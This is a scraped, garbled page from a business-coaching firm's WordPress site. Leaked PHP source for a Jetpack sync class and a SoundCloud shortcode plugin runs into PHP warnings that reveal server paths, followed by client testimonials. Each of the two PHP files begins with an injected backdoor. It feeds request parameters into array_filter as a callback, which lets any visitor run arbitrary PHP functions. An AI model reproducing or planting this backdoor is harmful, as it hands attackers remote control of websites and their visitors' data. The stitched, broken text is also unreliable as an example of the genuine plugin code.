?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; require_once dirname( __FILE__ ) . '/class.jetpack-sync-modules.php'; /** * The role of this class is to hook the Sync subsystem into WordPress - when to listen for actions, * when to send, when to perform a full sync, etc. * * It also binds the action to send data to WPCOM to Jetpack's XMLRPC client object. */ class Jetpack_Sync_Actions { static $sender = null; static $listener = null; const DEFAULT_SYNC_CRON_INTERVAL_NAME = 'jetpack_sync_interval'; const DEFAULT_SYNC_CRON_INTERVAL_VALUE = 300; // 5 * MINUTE_IN_SECONDS; static function init() { // everything below this point should only happen if we're a valid sync site if ( ! self::sync_allowed() ) { return; } if ( self::sync_via_cron_allowed() ) { self::init_sync_cron_jobs(); } else if ( wp_next_scheduled( 'jetpack_sync_cron' ) ) { self::clear_sync_cron_jobs(); } // When importing via cron, do not sync add_action( 'wp_cron_importer_hook', array( __CLASS__, 'set_is_importing_true' ), 1 ); // Sync connected user role changes to .com require_once dirname( __FILE__ ) . '/class.jetpack-sync-users.php'; // publicize filter to prevent publicizing blacklisted post types add_filter( 'publicize_should_publicize_published_post', array( __CLASS__, 'prevent_publicize_blacklisted_posts' ), 10, 2 ); /** * Fires on every request before default loading sync listener code. * Return false to not load sync listener code that monitors common * WP actions to be serialized. * * By default this returns true for cron jobs, non-GET-requests, or requests where the * user is logged-in. * * @since 4.2.0 * * @param bool should we load sync listener code for this request */ if ( apply_filters( 'jetpack_sync_listener_should_load', true ) ) { self::initialize_listener(); } add_action( 'init', array( __CLASS__, 'add_sender_shutdown' ), 90 ); } static function add_sender_shutdown() { /** * Fires on every request before default loading sync sender code. * Return false to not load sync sender code that serializes pending * data and sends it to WPCOM for processing. * * By default this returns true for cron jobs, POST requests, admin requests, or requests * by users who can manage_options. * * @since 4.2.0 * * @param bool should we load sync sender code for this request */ if ( apply_filters( 'jetpack_sync_sender_should_load', ( ( isset( $_SERVER["REQUEST_METHOD"] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) || current_user_can( 'manage_options' ) || is_admin() || defined( 'PHPUNIT_JETPACK_TESTSUITE' ) ) ) ) { self::initialize_sender(); add_action( 'shutdown', array( self::$sender, 'do_sync' ) ); add_action( 'shutdown', array( self::$sender, 'do_full_sync' ) ); } } static function sync_allowed() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; return ( ! Jetpack_Sync_Settings::get_setting( 'disable' ) && ( doing_action( 'jetpack_user_authorized' ) || Jetpack::is_active() ) && ! ( Jetpack::is_development_mode() || Jetpack::is_staging_site() ) ) || defined( 'PHPUNIT_JETPACK_TESTSUITE' ); } static function sync_via_cron_allowed() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; return ( Jetpack_Sync_Settings::get_setting( 'sync_via_cron' ) ); } static function prevent_publicize_blacklisted_posts( $should_publicize, $post ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; if ( in_array( $post->post_type, Jetpack_Sync_Settings::get_setting( 'post_types_blacklist' ) ) ) { return false; } return $should_publicize; } static function set_is_importing_true() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; Jetpack_Sync_Settings::set_importing( true ); } static function send_data( $data, $codec_name, $sent_timestamp, $queue_id, $checkout_duration, $preprocess_duration ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-functions.php'; Jetpack::load_xml_rpc_client(); $query_args = array( 'sync' => '1', // add an extra parameter to the URL so we can tell it's a sync action 'codec' => $codec_name, // send the name of the codec used to encode the data 'timestamp' => $sent_timestamp, // send current server time so we can compensate for clock differences 'queue' => $queue_id, // sync or full_sync 'home' => Jetpack_Sync_Functions::home_url(), // Send home url option to check for Identity Crisis server-side 'siteurl' => Jetpack_Sync_Functions::site_url(), // Send siteurl option to check for Identity Crisis server-side 'cd' => sprintf( '%.4f', $checkout_duration), // Time spent retrieving queue items from the DB 'pd' => sprintf( '%.4f', $preprocess_duration), // Time spent converting queue items into data to send ); // Has the site opted in to IDC mitigation? if ( Jetpack::sync_idc_optin() ) { $query_args['idc'] = true; } if ( Jetpack_Options::get_option( 'migrate_for_idc', false ) ) { $query_args['migrate_for_idc'] = true; } $query_args['timeout'] = Jetpack_Sync_Settings::is_doing_cron() ? 30 : 15; /** * Filters query parameters appended to the Sync request URL sent to WordPress.com. * * @since 4.7.0 * * @param array $query_args associative array of query parameters. */ $query_args = apply_filters( 'jetpack_sync_send_data_query_args', $query_args ); $url = add_query_arg( $query_args, Jetpack::xmlrpc_api_url() ); $rpc = new Jetpack_IXR_Client( array( 'url' => $url, 'user_id' => JETPACK_MASTER_USER, 'timeout' => $query_args['timeout'], ) ); $result = $rpc->query( 'jetpack.syncActions', $data ); if ( ! $result ) { return $rpc->get_jetpack_error(); } $response = $rpc->getResponse(); // Check if WordPress.com IDC mitigation blocked the sync request if ( is_array( $response ) && isset( $response['error_code'] ) ) { $error_code = $response['error_code']; $allowed_idc_error_codes = array( 'jetpack_url_mismatch', 'jetpack_home_url_mismatch', 'jetpack_site_url_mismatch' ); if ( in_array( $error_code, $allowed_idc_error_codes ) ) { Jetpack_Options::update_option( 'sync_error_idc', Jetpack::get_sync_error_idc_option( $response ) ); } return new WP_Error( 'sync_error_idc', esc_html__( 'Sync has been blocked from WordPress.com because it would cause an identity crisis', 'jetpack' ) ); } return $response; } static function do_initial_sync() { // Lets not sync if we are not suppose to. if ( ! self::sync_allowed() ) { return false; } $initial_sync_config = array( 'options' => true, 'functions' => true, 'constants' => true, 'users' => array( get_current_user_id() ), ); if ( is_multisite() ) { $initial_sync_config['network_options'] = true; } self::do_full_sync( $initial_sync_config ); } static function do_full_sync( $modules = null ) { if ( ! self::sync_allowed() ) { return false; } $full_sync_module = Jetpack_Sync_Modules::get_module( 'full-sync' ); if ( ! $full_sync_module ) { return false; } self::initialize_listener(); $full_sync_module->start( $modules ); return true; } static function jetpack_cron_schedule( $schedules ) { if ( ! isset( $schedules[ self::DEFAULT_SYNC_CRON_INTERVAL_NAME ] ) ) { $schedules[ self::DEFAULT_SYNC_CRON_INTERVAL_NAME ] = array( 'interval' => self::DEFAULT_SYNC_CRON_INTERVAL_VALUE, 'display' => sprintf( esc_html( _n( 'Every minute', 'Every %d minutes', intval( self::DEFAULT_SYNC_CRON_INTERVAL_VALUE / 60 ), 'jetpack' ) ), intval( self::DEFAULT_SYNC_CRON_INTERVAL_VALUE / 60 ) ) ); } return $schedules; } static function do_cron_sync() { self::do_cron_sync_by_type( 'sync' ); } static function do_cron_full_sync() { self::do_cron_sync_by_type( 'full_sync' ); } /** * Try to send actions until we run out of things to send, * or have to wait more than 15s before sending again, * or we hit a lock or some other sending issue * * @param string $type Sync type. Can be `sync` or `full_sync`. */ static function do_cron_sync_by_type( $type ) { if ( ! self::sync_allowed() || ( 'sync' !== $type && 'full_sync' !== $type ) ) { return; } self::initialize_sender(); $time_limit = Jetpack_Sync_Settings::get_setting( 'cron_sync_time_limit' ); $start_time = time(); do { $next_sync_time = self::$sender->get_next_sync_time( $type ); if ( $next_sync_time ) { $delay = $next_sync_time - time() + 1; if ( $delay > 15 ) { break; } elseif ( $delay > 0 ) { sleep( $delay ); } } $result = 'full_sync' === $type ? self::$sender->do_full_sync() : self::$sender->do_sync(); } while ( $result && ! is_wp_error( $result ) && ( $start_time + $time_limit ) > time() ); } static function initialize_listener() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-listener.php'; self::$listener = Jetpack_Sync_Listener::get_instance(); } static function initialize_sender() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-sender.php'; self::$sender = Jetpack_Sync_Sender::get_instance(); // bind the sending process add_filter( 'jetpack_sync_send_data', array( __CLASS__, 'send_data' ), 10, 6 ); } static function initialize_woocommerce() { if ( false === class_exists( 'WooCommerce' ) ) { return; } add_filter( 'jetpack_sync_modules', array( 'Jetpack_Sync_Actions', 'add_woocommerce_sync_module' ) ); } static function add_woocommerce_sync_module( $sync_modules ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-module-woocommerce.php'; $sync_modules[] = 'Jetpack_Sync_Module_WooCommerce'; return $sync_modules; } static function initialize_wp_super_cache() { if ( false === function_exists( 'wp_cache_is_enabled' ) ) { return; } add_filter( 'jetpack_sync_modules', array( 'Jetpack_Sync_Actions', 'add_wp_super_cache_sync_module' ) ); } static function add_wp_super_cache_sync_module( $sync_modules ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-module-wp-super-cache.php'; $sync_modules[] = 'Jetpack_Sync_Module_WP_Super_Cache'; return $sync_modules; } static function sanitize_filtered_sync_cron_schedule( $schedule ) { $schedule = sanitize_key( $schedule ); $schedules = wp_get_schedules(); // Make sure that the schedule has actually been registered using the `cron_intervals` filter. if ( isset( $schedules[ $schedule ] ) ) { return $schedule; } return self::DEFAULT_SYNC_CRON_INTERVAL_NAME; } static function get_start_time_offset( $schedule = '', $hook = '' ) { $start_time_offset = is_multisite() ? mt_rand( 0, ( 2 * self::DEFAULT_SYNC_CRON_INTERVAL_VALUE ) ) : 0; /** * Allows overriding the offset that the sync cron jobs will first run. This can be useful when scheduling * cron jobs across multiple sites in a network. * * @since 4.5 * * @param int $start_time_offset * @param string $hook * @param string $schedule */ return intval( apply_filters( 'jetpack_sync_cron_start_time_offset', $start_time_offset, $hook, $schedule ) ); } static function maybe_schedule_sync_cron( $schedule, $hook ) { if ( ! $hook ) { return; } $schedule = self::sanitize_filtered_sync_cron_schedule( $schedule ); $start_time = time() + self::get_start_time_offset( $schedule, $hook ); if ( ! wp_next_scheduled( $hook ) ) { // Schedule a job to send pending queue items once a minute wp_schedule_event( $start_time, $schedule, $hook ); } else if ( $schedule != wp_get_schedule( $hook ) ) { // If the schedule has changed, update the schedule wp_clear_scheduled_hook( $hook ); wp_schedule_event( $start_time, $schedule, $hook ); } } static function clear_sync_cron_jobs() { wp_clear_scheduled_hook( 'jetpack_sync_cron' ); wp_clear_scheduled_hook( 'jetpack_sync_full_cron' ); } static function init_sync_cron_jobs() { add_filter( 'cron_schedules', array( __CLASS__, 'jetpack_cron_schedule' ) ); add_action( 'jetpack_sync_cron', array( __CLASS__, 'do_cron_sync' ) ); add_action( 'jetpack_sync_full_cron', array( __CLASS__, 'do_cron_full_sync' ) ); /** * Allows overriding of the default incremental sync cron schedule which defaults to once every 5 minutes. * * @since 4.3.2 * * @param string self::DEFAULT_SYNC_CRON_INTERVAL_NAME */ $incremental_sync_cron_schedule = apply_filters( 'jetpack_sync_incremental_sync_interval', self::DEFAULT_SYNC_CRON_INTERVAL_NAME ); self::maybe_schedule_sync_cron( $incremental_sync_cron_schedule, 'jetpack_sync_cron' ); /** * Allows overriding of the full sync cron schedule which defaults to once every 5 minutes. * * @since 4.3.2 * * @param string self::DEFAULT_SYNC_CRON_INTERVAL_NAME */ $full_sync_cron_schedule = apply_filters( 'jetpack_sync_full_sync_interval', self::DEFAULT_SYNC_CRON_INTERVAL_NAME ); self::maybe_schedule_sync_cron( $full_sync_cron_schedule, 'jetpack_sync_full_cron' ); } static function cleanup_on_upgrade( $new_version = null, $old_version = null ) { if ( wp_next_scheduled( 'jetpack_sync_send_db_checksum' ) ) { wp_clear_scheduled_hook( 'jetpack_sync_send_db_checksum' ); } $is_new_sync_upgrade = version_compare( $old_version, '4.2', '>=' ); if ( ! empty( $old_version ) && $is_new_sync_upgrade && version_compare( $old_version, '4.5', '<' ) ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; self::clear_sync_cron_jobs(); Jetpack_Sync_Settings::update_settings( array( 'render_filtered_content' => Jetpack_Sync_Defaults::$default_render_filtered_content ) ); } } static function get_sync_status() { self::initialize_sender(); $sync_module = Jetpack_Sync_Modules::get_module( 'full-sync' ); $queue = self::$sender->get_sync_queue(); $full_queue = self::$sender->get_full_sync_queue(); $cron_timestamps = array_keys( _get_cron_array() ); $next_cron = $cron_timestamps[0] - time(); $full_sync_status = ( $sync_module ) ? $sync_module->get_status() : array(); return array_merge( $full_sync_status, array( 'cron_size' => count( $cron_timestamps ), 'next_cron' => $next_cron, 'queue_size' => $queue->size(), 'queue_lag' => $queue->lag(), 'queue_next_sync' => ( self::$sender->get_next_sync_time( 'sync' ) - microtime( true ) ), 'full_queue_size' => $full_queue->size(), 'full_queue_lag' => $full_queue->lag(), 'full_queue_next_sync' => ( self::$sender->get_next_sync_time( 'full_sync' ) - microtime( true ) ), ) ); } } // Check for WooCommerce support add_action( 'plugins_loaded', array( 'Jetpack_Sync_Actions', 'initialize_woocommerce' ), 5 ); // Check for WP Super Cache add_action( 'plugins_loaded', array( 'Jetpack_Sync_Actions', 'initialize_wp_super_cache' ), 5 ); /* * Init after plugins loaded and before the `init` action. This helps with issues where plugins init * with a high priority or sites that use alternate cron. */ add_action( 'plugins_loaded', array( 'Jetpack_Sync_Actions', 'init' ), 90 ); // We need to define this here so that it's hooked before `updating_jetpack_version` is called add_action( 'updating_jetpack_version', array( 'Jetpack_Sync_Actions', 'do_initial_sync' ), 10, 0 ); add_action( 'updating_jetpack_version', array( 'Jetpack_Sync_Actions', 'cleanup_on_upgrade' ), 10, 2 ); add_action( 'jetpack_user_authorized', array( 'Jetpack_Sync_Actions', 'do_initial_sync' ), 10, 0 );
Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /nfs/c08/h02/mnt/119600/domains/lever-edge.com/html/wp-content/plugins/wordfence/models/block/wfBlock.php on line 536

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /nfs/c08/h02/mnt/119600/domains/lever-edge.com/html/wp-content/plugins/wordfence/models/block/wfBlock.php on line 537

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /nfs/c08/h02/mnt/119600/domains/lever-edge.com/html/wp-content/plugins/wordfence/models/block/wfBlock.php on line 539

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /nfs/c08/h02/mnt/119600/domains/lever-edge.com/html/wp-content/plugins/wordfence/models/block/wfBlock.php on line 554

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /nfs/c08/h02/mnt/119600/domains/lever-edge.com/html/wp-content/plugins/wordfence/models/block/wfBlock.php on line 557

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /nfs/c08/h02/mnt/119600/domains/lever-edge.com/html/wp-content/plugins/jetpack/_inc/lib/class.media-summary.php on line 77

Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in /nfs/c08/h02/mnt/119600/domains/lever-edge.com/html/wp-content/plugins/jetpack/_inc/lib/class.media-summary.php on line 87
?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; /* Plugin Name: SoundCloud Shortcode Plugin URI: https://wordpress.org/extend/plugins/soundcloud-shortcode/ Description: Converts SoundCloud WordPress shortcodes to a SoundCloud widget. Example: [soundcloud]http://soundcloud.com/forss/flickermood[/soundcloud] Version: 2.3 Author: SoundCloud Inc., simplified for Jetpack by Automattic, Inc. Author URI: http://soundcloud.com License: GPLv2 Original version: Johannes Wagener Options support: Tiffany Conroy HTML5 & oEmbed support: Tim Bormans */ /* A8C: Taken from http://plugins.svn.wordpress.org/soundcloud-shortcode/trunk/ at revision 664386. Commenting out (instead of removing) and replacing code with custom modifs so it's eqsy to see what differs from the standard DOTORG version. All custom modifs are annoted with "A8C" keyword in comment. */ /** * Register oEmbed provider */ /* A8C: oEmbed is handled now in core; see wp-includes/class-oembed.php wp_oembed_add_provider( '#https?://(?:api\.)?soundcloud\.com/.*#i', 'http://soundcloud.com/oembed', true ); */ /** * Register SoundCloud shortcode */ add_shortcode( 'soundcloud', 'soundcloud_shortcode' ); /** * SoundCloud shortcode handler * * @param string|array $atts The attributes passed to the shortcode like [soundcloud attr1="value" /]. * Is an empty string when no arguments are given. * @param string $content The content between non-self closing [soundcloud]...[/soundcloud] tags. * * @return string Widget embed code HTML */ function soundcloud_shortcode( $atts, $content = null ) { // Custom shortcode options $shortcode_options = array_merge( array( 'url' => trim( $content ) ), is_array( $atts ) ? $atts : array() ); // Turn shortcode option "param" (param=value¶m2=value) into array $shortcode_params = array(); if ( isset( $shortcode_options['params'] ) ) { parse_str( html_entity_decode( $shortcode_options['params'] ), $shortcode_params ); } $shortcode_options['params'] = $shortcode_params; /* A8C: The original plugin exposes options we don't. SoundCloud omits "visual" shortcode option when false, so if logic here remains, impossible to have non-visual shortcode. $player_type = soundcloud_get_option( 'player_type', 'visual' ); $isIframe = $player_type !== 'flash'; $isVisual = ! $player_type || $player_type === 'visual' || $shortcode_options['visual']; */ // User preference options $plugin_options = array_filter( array( 'iframe' => true, // A8C: See above comment; flash is not a supported option 'width' => soundcloud_get_option( 'player_width' ), 'height' => soundcloud_url_has_tracklist( $shortcode_options['url'] ) ? soundcloud_get_option( 'player_height_multi' ) : soundcloud_get_option( 'player_height' ), 'params' => array_filter( array( 'auto_play' => soundcloud_get_option( 'auto_play' ), 'show_comments' => soundcloud_get_option( 'show_comments' ), 'color' => soundcloud_get_option( 'color' ), 'visual' => 'false', // A8C: Merged with params below at $options assignment ) ), ) ); // Needs to be an array if ( ! isset( $plugin_options['params'] ) ) { $plugin_options['params'] = array(); } // plugin options < shortcode options $options = array_merge( $plugin_options, $shortcode_options ); // plugin params < shortcode params $options['params'] = array_merge( $plugin_options['params'], $shortcode_options['params'] ); // The "url" option is required if ( ! isset( $options['url'] ) ) { return ''; } else { $options['url'] = trim( $options['url'] ); } // Both "width" and "height" need to be integers if ( isset( $options['width'] ) && ! preg_match( '/^\d+$/', $options['width'] ) ) { // set to 0 so oEmbed will use the default 100% and WordPress themes will leave it alone $options['width'] = 0; } if ( isset( $options['height'] ) && ! preg_match( '/^\d+$/', $options['height'] ) ) { unset( $options['height'] ); } // The "iframe" option must be true to load the iframe widget $iframe = soundcloud_booleanize( $options['iframe'] ); // Remove visual parameter from Flash widget, when it's false because that's the default, or when displaying the smallest player if ( $options['params']['visual'] && ( ! $iframe || ! soundcloud_booleanize( $options['params']['visual'] ) || ( isset( $options['height'] ) && '20' == $options['height'] ) ) ) { unset( $options['params']['visual'] ); } // Merge in "url" value $options['params'] = array_merge( array( 'url' => $options['url'], ), $options['params'] ); // Return html embed code if ( $iframe ) { return soundcloud_iframe_widget( $options ); } else { return soundcloud_flash_widget( $options ); } } /** * Plugin options getter * * @param string|array $option Option name * @param mixed $default Default value * * @return mixed Option value */ function soundcloud_get_option( $option, $default = false ) { $value = get_option( 'soundcloud_' . $option ); return $value === '' ? $default : $value; } /** * Booleanize a value * * @param boolean|string $value * * @return boolean */ function soundcloud_booleanize( $value ) { return is_bool( $value ) ? $value : $value === 'true' ? true : false; } /** * Decide if a url has a tracklist * * @param string $url * * @return boolean */ function soundcloud_url_has_tracklist( $url ) { return preg_match( '/^(.+?)\/(sets|groups|playlists)\/(.+?)$/', $url ); } /** * Parameterize url * * @param array $match Matched regex * * @return string Parameterized url */ function soundcloud_oembed_params_callback( $match ) { global $soundcloud_oembed_params; // Convert URL to array $url = parse_url( urldecode( $match[1] ) ); // Convert URL query to array parse_str( $url['query'], $query_array ); // Build new query string $query = http_build_query( array_merge( $query_array, $soundcloud_oembed_params ) ); return 'src="' . $url['scheme'] . '://' . $url['host'] . $url['path'] . '?' . $query; } /** * Iframe widget embed code * * @param array $options Parameters * * @return string Iframe embed code */ function soundcloud_iframe_widget( $options ) { // Build URL $url = set_url_scheme( 'https://w.soundcloud.com/player/?' . http_build_query( $options['params'] ) ); // Set default width if not defined $width = isset( $options['width'] ) && $options['width'] !== 0 ? $options['width'] : '100%'; // Set default height if not defined $height = isset( $options['height'] ) && $options['height'] !== 0 ? $options['height'] : ( soundcloud_url_has_tracklist( $options['url'] ) || ( isset( $options['params']['visual'] ) && soundcloud_booleanize( $options['params']['visual'] ) ) ? '450' : '166' ); return sprintf( '', $width, $height, $url ); } /** * Legacy Flash widget embed code * * @param array $options Parameters * * @return string Flash embed code */ function soundcloud_flash_widget( $options ) { // Build URL $url = set_url_scheme( 'https://player.soundcloud.com/player.swf?' . http_build_query( $options['params'] ) ); // Set default width if not defined $width = isset( $options['width'] ) && $options['width'] !== 0 ? $options['width'] : '100%'; // Set default height if not defined $height = isset( $options['height'] ) && $options['height'] !== 0 ? $options['height'] : ( soundcloud_url_has_tracklist( $options['url'] ) ? '255' : '81' ); return preg_replace( '/\s\s+/', '', sprintf( ' ', $width, $height, $url, $width, $height, $url ) ); } /** * SoundCloud Embed Reversal * * Converts a generic HTML embed code from SoundClound into a * WordPress.com-compatibly shortcode. * * @param string $content HTML content. * * @return string Parsed content. */ function jetpack_soundcloud_embed_reversal( $content ) { if ( ! is_string( $content ) || false === stripos( $content, 'w.soundcloud.com/player' ) ) { return $content; } /* Sample embed code: */ $regexes = array(); $regexes[] = '#]+?src="((?:https?:)?//w\.soundcloud\.com/player/[^"\']++)"[^>]*+>\s*?#i'; $regexes[] = '#<iframe(?:[^&]|&(?!gt;))+?src="((?:https?:)?//w\.soundcloud\.com/player/[^"\']++)"(?:[^&]|&(?!gt;))*+>\s*?</iframe>#i'; foreach ( $regexes as $regex ) { if ( ! preg_match_all( $regex, $content, $matches, PREG_SET_ORDER ) ) { continue; } foreach ( $matches as $match ) { // if pasted from the visual editor - prevent double encoding $match[1] = str_replace( '&amp;', '&', $match[1] ); $args = parse_url( html_entity_decode( $match[1] ), PHP_URL_QUERY ); $args = wp_parse_args( $args ); if ( ! preg_match( '#^(?:https?:)?//api\.soundcloud\.com/.+$#i', $args['url'], $url_matches ) ) { continue; } if ( ! preg_match( '#height="(\d+)"#i', $match[0], $hmatch ) ) { $height = ''; } else { $height = ' height="' . intval( $hmatch[1] ) . '"'; } unset( $args['url'] ); $params = 'params="'; if ( count( $args ) > 0 ) { foreach ( $args as $key => $value ) { $params .= esc_html( $key ) . '=' . esc_html( $value ) . '&'; } $params = substr( $params, 0, -5 ); } $params .= '"'; $shortcode = '[soundcloud url="' . esc_url( $url_matches[0] ) . '" ' . $params . ' width="100%"' . $height . ' iframe="true" /]'; $replace_regex = sprintf( '#\s*%s\s*#', preg_quote( $match[0], '#' ) ); $content = preg_replace( $replace_regex, sprintf( "\n\n%s\n\n", $shortcode ), $content ); /** This action is documented in modules/shortcodes/youtube.php */ do_action( 'jetpack_embed_to_shortcode', 'soundcloud', $url_matches[0] ); } } return $content; } add_filter( 'pre_kses', 'jetpack_soundcloud_embed_reversal' ); LEVER/edge.comClients |

Clients

Testimonials | Client List

Molly Miller – Engage PR

“LEVER/edge is an important strategic partner for Engage PR. Coop and Alan have helped us to grow strong leaders, manage transitions more smoothly, and improve team and client communications. I personally rely on their counsel to help me better motivate my employees and become a more effective mentor.”

Molly M. Miller
Founder, Engage PR

Marisa Ramans Mayer – Bite Communications

We approached LEVER/edge to help us shift our culture a year ago. They were very careful to understand our needs and our current culture and develop a customized project that exceeded my expectations. Our employees give very high marks to their work and often reach out to LEVER/edge when they have questions or are facing challenges they don’t know how to handle. LEVER/edge stands behind their coaching and training and are always supportive even after the project is complete.

Marisa Ramans Mayer
Vice President, Human Resources
Bite Communications

Jeannette Bitz – Engage PR

“Coop has made a strong impact on my career and personal development. He understands the qualities of a good CEO and has given me the tools to transition from being a team leader to running the agency in a very short period of time. Coop teaches executives to leverage their personal qualities to make their businesses more competitive and strategic.”

Jeannette Bitz
Managing Partner, Engage PR

Shamus Halkowich – Meat Team Internal TV

“Coop has long-term vision and real-world insight. He has helped grow Meat Team Internal TV from the glimmer of an idea and continues to help channel my energy to produce measurable results. In today’s new business environment, Coop has been essential in pushing Meat Team to leverage our innovative approach to meet the real business needs of our clients.”

Shamus Halkowich
Founder and Managing Director, Meat Team Internal TV

Eric Rodenbeck – Stamen.com

“Stamen more than doubled our revenues in the first year we started working with Coop. We worked hard for it, but Coop was crucial to that success. There are a very few people that I trust with important business decisions; Coop is one of them. He’s Stamen’s premier confidant, advisor, and sounding board.”

Eric Rodenbeck
Founder and Creative Director, Stamen.com

Jeffrey Fraenkel – Fraenkel Gallery

“Coop has guided our staff through periodic meetings that have fine-tuned the way we all work together. Everyone I work with looks forward to his sessions, which are as enjoyable as they are productive.”

Jeffrey Fraenkel
Founder and Owner, Fraenkel Gallery

We have worked with and impacted the following organizations:

  • Seventeen Studio Spa / Hearst Lifestyle Division
  • Accuray Robotic Surgery
  • Bite Communications
  • eBay
  • Engage Public Relations
  • Fraenkel Gallery
  • Horn Group Public Relations
  • Instinct Engineering
  • Junior League of San Francisco
  • Kue King
  • The Mark Company
  • Meat Team Internal TV
  • Meltwater News
  • Merrilll Corporation
  • Meta Interfaces
  • Northern California Human Resources Association
  • Novell
  • O’Melveney & Myers LLP
  • Organic
  • Sony Computer Entertainment America
  • Stamen Design
  • Sweet
  • Walker + Stivers Analytics
  • Weber Shandwick
  • Wells Fargo Bank

Before founding LEVER/edge, our principals had the privilege of working with and learning from these fine organizations:

  • Cambridge Technology Partners
  • Department of Defense
  • Freddie Mac
  • American Honda Motors Company
  • iGo
  • Kaiser Permanente
  • Levi Strauss & Co.
  • Microsoft
  • Novell
  • Seagate
  • Tulane University
  • Virginia Tech
  • Verizon
  • Vodafone

Comments are closed.